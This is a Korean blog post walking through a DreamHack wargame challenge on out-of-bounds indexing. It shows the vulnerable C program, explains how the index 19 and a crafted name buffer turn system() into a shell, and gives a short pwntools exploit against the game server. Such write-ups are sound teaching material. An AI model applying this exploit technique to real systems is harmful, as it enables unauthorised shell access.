Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage9_문제풀이(out_of_bound) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage9_문제풀이(out_of_bound)

CIDY 2022. 7. 3. 03:48
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

OOB는 이렇게 따로 OOB만을 노려서 만들어진 문제는 잘 못 봤지만 익스플로잇 방법을 구상하다보면 꽤 자주 쓰이는 친구다.

 

이 문제는 OOB만을 다루므로 꽤 간단한데, 일단 인덱스로 19를 보내줘야 하는 건 알거다.

 

그럼 read에 뭘 적어줘야 하는가가 문제인데...

 

command는 문자열 포인터 배열이므로 commad[N]은 command의 배열 중 N번째에 적힌 애(0부터 셈) == 주소를 참조해 거기 있는 문자열을 데려오는거다. 그러니까 만약 name에 바로 "/bin/sh"를 적게 되면 /bin(32비트니까 4바이트가 포인터 크기임)라는 주소(?)에 적힌 문자열을 데려오게 되는데 뭐 암튼 그러면 안되니까

 

name에는 주소를 적어줘야 한다. 그럼 무슨 주소를 적어줄거냐...32비트에서 포인터 변수는 4바이트니까 

name + 4의 주소 + /bin/sh를 적어주면 된다. 그럼 /bin/sh는 name[4]부터 들어가게 될 거고, 거길 참조해오니까 system("/bin/sh")가 완성된다.

 

+ system("cat /flag")해도 된다

+ 뒤에 널 안붙여도 되는건 전역이라 초기화 됐으니...

 

from pwn import *

p = remote("host3.dreamhack.games", 10393)
#p = process("./out_of_bound")

name = 0x804a0ac
pay = p32(name + 0x4)
pay += b"/bin/sh"

p.send(pay)

p.sendline(b"19")

p.interactive()

 

익스코드...라고 하기도 뭣한 짧은 코드다.